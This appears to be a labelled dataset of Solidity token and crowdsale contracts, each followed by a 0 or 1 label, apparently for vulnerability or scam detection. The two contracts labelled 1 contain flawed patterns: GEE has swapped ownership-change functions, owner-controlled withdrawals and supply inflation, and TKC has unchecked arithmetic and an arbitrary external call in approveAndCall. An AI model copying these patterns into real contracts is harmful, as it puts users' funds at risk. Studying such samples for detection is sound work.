_beneficiary, uint256 _weiAmount ) internal { } function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.transfer(_beneficiary, _tokenAmount); } function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } constructor(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } function finalization() internal { } } contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); constructor(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; emit Closed(); wallet.transfer(address(this).balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); emit Refunded(investor, depositedValue); } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 8; uint8 public constant TOKEN_DECIMALS_UINT8 = 8; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "GLOBEX"; string public constant TOKEN_SYMBOL = "GEX"; bool public constant PAUSED = true; address public constant TARGET_USER = 0xFB3F321f4BC12640a05a710b11Ec86FF55dA2699; uint public constant START_TIME = 1540476000; bool public constant CONTINUE_MINTING = false; } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } function capReached() public view returns (bool) { return weiRaised >= cap; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } contract MintedCrowdsale is Crowdsale { function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { require(MintableToken(token).mint(_beneficiary, _tokenAmount)); } } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } } contract RefundableCrowdsale is FinalizableCrowdsale { using SafeMath for uint256; uint256 public goal; RefundVault public vault; constructor(uint256 _goal) public { require(_goal > 0); vault = new RefundVault(wallet); goal = _goal; } function claimRefund() public { require(isFinalized); require(!goalReached()); vault.refund(msg.sender); } function goalReached() public view returns (bool) { return weiRaised >= goal; } function finalization() internal { if (goalReached()) { vault.close(); } else { vault.enableRefunds(); } super.finalization(); } function _forwardFunds() internal { vault.deposit.value(msg.value)(msg.sender); } } contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale { function hasStarted() public view returns (bool) { return now >= openingTime; } function startTime() public view returns (uint256) { return openingTime; } function endTime() public view returns (uint256) { return closingTime; } function hasClosed() public view returns (bool) { return super.hasClosed() || capReached(); } function hasEnded() public view returns (bool) { return hasClosed(); } function finalization() internal { super.finalization(); if (PAUSED) { MainToken(token).unpause(); } if (!CONTINUE_MINTING) { require(MintableToken(token).finishMinting()); } Ownable(token).transferOwnership(TARGET_USER); } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate).div(1 ether); } } contract BonusableCrowdsale is Consts, Crowdsale { function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 bonusRate = getBonusRate(_weiAmount); return _weiAmount.mul(bonusRate).div(1 ether); } function getBonusRate(uint256 _weiAmount) internal view returns (uint256) { uint256 bonusRate = rate; uint[3] memory weiRaisedStartsBounds = [uint(0),uint(300000000000000000000),uint(600000000000000000000)]; uint[3] memory weiRaisedEndsBounds = [uint(300000000000000000000),uint(600000000000000000000),uint(900000000000000000000)]; uint64[3] memory timeStartsBounds = [uint64(1540476000),uint64(1540911600),uint64(1541430000)]; uint64[3] memory timeEndsBounds = [uint64(1540911600),uint64(1541430000),uint64(1541862000)]; uint[3] memory weiRaisedAndTimeRates = [uint(100),uint(70),uint(50)]; for (uint i = 0; i < 3; i++) { bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]); bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]); if (weiRaisedInBound && timeInBound) { bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000; } } uint[2] memory weiAmountBounds = [uint(100000000000000000000),uint(20000000000000000000)]; uint[2] memory weiAmountRates = [uint(0),uint(200)]; for (uint j = 0; j < 2; j++) { if (_weiAmount >= weiAmountBounds[j]) { bonusRate += bonusRate * weiAmountRates[j] / 1000; break; } } return bonusRate; } } contract TemplateCrowdsale is Consts, MainCrowdsale , BonusableCrowdsale , RefundableCrowdsale { event Initialized(); event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime); bool public initialized = false; constructor(MintableToken _token) public Crowdsale(10000000 * TOKEN_DECIMAL_MULTIPLIER, 0x2e2f33B0D829c844916b486ee1185B1186bc2f83, _token) TimedCrowdsale(START_TIME > now ? START_TIME : now, 1543158000) CappedCrowdsale(1300000000000000000000) RefundableCrowdsale(200000000000000000000) { } function init() public onlyOwner { require(!initialized); initialized = true; if (PAUSED) { MainToken(token).pause(); } address[4] memory addresses = [address(0x65524cdb782c7a25677ff547e82982775caabe72),address(0xd7ccaccc5897c9733c4e9d4b79a2cf3fd8d78789),address(0x794e2f45fe976883fcfd1f0c9734a400aab1a053),address(0x5d58b04c9776ad8751121c68e92446c85cddf93a)]; uint[4] memory amounts = [uint(100000000000000000),uint(200000000000000000),uint(200000000000000000),uint(200000000000000000)]; uint64[4] memory freezes = [uint64(0),uint64(0),uint64(0),uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { MainToken(token).mint(addresses[i], amounts[i]); } else { MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } transferOwnership(TARGET_USER); emit Initialized(); } function hasClosed() public view returns (bool) { bool remainValue = cap.sub(weiRaised) < 100000000000000000; return super.hasClosed() || remainValue; } function setEndTime(uint _endTime) public onlyOwner { require(now < closingTime); require(now < _endTime); require(_endTime > openingTime); emit TimesChanged(openingTime, _endTime, openingTime, closingTime); closingTime = _endTime; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(msg.value >= 100000000000000000); require(msg.value <= 100000000000000000000); super._preValidatePurchase(_beneficiary, _weiAmount); } }
0
contract GEE { string public name = "Green Earth Economy Token"; uint8 public decimals = 18; string public symbol = "GEE"; address public _owner = 0xb9a2Dd4453dE3f4cF1983f6F6f2521a2BA40E4c8; address public _agent = 0xff23a447fD49966043342AbD692F9193f2399f79; address public _dev = 0xC96CfB18C39DC02FBa229B6EA698b1AD5576DF4c; address public _devFeesAddr = 0x0f521BE3Cd38eb6AA546F8305ee65B62d3018032; uint256 public _tokePerEth = 275; bool _payFees = false; uint256 _fees = 1500; uint256 _lifeVal = 0; uint256 _feeLimit = 312 * 1 ether; uint256 _devFees = 0; uint256 public weiAmount; uint256 incomingValueAsEth; uint256 _calcToken; uint256 _tokePerWei; uint256 public _totalSupply = 21000000 * 1 ether; event Transfer(address indexed _from, address indexed _to, uint _value); mapping (address => uint256) public balances; function GEE() { _owner = msg.sender; preMine(); } function preMine() { balances[_owner] = 2000000 * 1 ether; Transfer(this, _owner, balances[_owner]); balances[_dev] = 1000000 * 1 ether; Transfer(this, _dev, balances[_dev]); balances[_agent] = 1000000 * 1 ether; Transfer(this, _agent, balances[_agent]); _totalSupply = sub(_totalSupply, (4000000 * 1 ether)); } function transfer(address _to, uint _value, bytes _data) public { require(balances[msg.sender] >= _value); uint codeLength; assembly { codeLength := extcodesize(_to) } require(codeLength == 0); balances[msg.sender] = sub(balanceOf(msg.sender), _value); balances[_to] = add(balances[_to], _value); Transfer(msg.sender, _to, _value); } function transfer(address _to, uint _value) public { require(balances[msg.sender] >= _value); uint codeLength; assembly { codeLength := extcodesize(_to) } require(codeLength == 0); balances[msg.sender] = sub(balanceOf(msg.sender), _value); balances[_to] = add(balances[_to], _value); Transfer(msg.sender, _to, _value); } function () payable public { require(msg.value > 0); uint256 _tokens = mul(msg.value,_tokePerEth); _tokens = div(_tokens,10); require(_totalSupply >= _tokens); _totalSupply = sub(_totalSupply, _tokens); balances[msg.sender] = add(balances[msg.sender], _tokens); Transfer(this, msg.sender, _tokens); _lifeVal = add(_lifeVal, msg.value); if(!_payFees) { if(_lifeVal >= _feeLimit) _payFees = true; } if(_payFees) { _devFees = add(_devFees, ((msg.value * _fees) / 10000)); } } function changePayRate(uint256 _newRate) public { require(((msg.sender == _owner) || (msg.sender == _dev)) && (_newRate >= 0)); _tokePerEth = _newRate; } function safeWithdrawal(address _receiver, uint256 _value) public { require((msg.sender == _owner)); uint256 valueAsEth = mul(_value,1 ether); if(_payFees) _devFeesAddr.transfer(_devFees); require(valueAsEth <= this.balance); _receiver.transfer(valueAsEth); } function balanceOf(address _receiver) public constant returns (uint balance) { return balances[_receiver]; } function changeOwner(address _receiver) public { require(msg.sender == _dev); _dev = _receiver; } function changeDev(address _receiver) public { require(msg.sender == _owner); _owner = _receiver; } function changeDevFeesAddr(address _receiver) public { require(msg.sender == _dev); _devFeesAddr = _receiver; } function changeAgent(address _receiver) public { require(msg.sender == _agent); _agent = _receiver; } function totalSupply() public constant returns (uint256) { return _totalSupply; } function updateTokenBalance(uint256 newBalance) public { require(msg.sender == _owner); _totalSupply = add(_totalSupply,newBalance); } function getBalance() public constant returns (uint256) { return this.balance; } function getLifeVal() public returns (uint256) { require((msg.sender == _owner) || (msg.sender == _dev)); return _lifeVal; } function updateFeeAmount(uint _newFee) public { require((msg.sender == _dev) || (msg.sender == _owner)); require((_newFee >= 0) && (_newFee <= 20)); _fees = _newFee * 100; } function withdrawDevFees() public { require(_payFees); _devFeesAddr.transfer(_devFees); _devFees = 0; } function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal pure returns (uint) { require(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a); return c; } }
1
pragma solidity ^0.4.4; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract TKCToken is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function TKCToken() { balances[msg.sender] = 280000000000000; totalSupply = 280000000000000; name = "TKC"; decimals = 6; symbol = "TKC"; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
1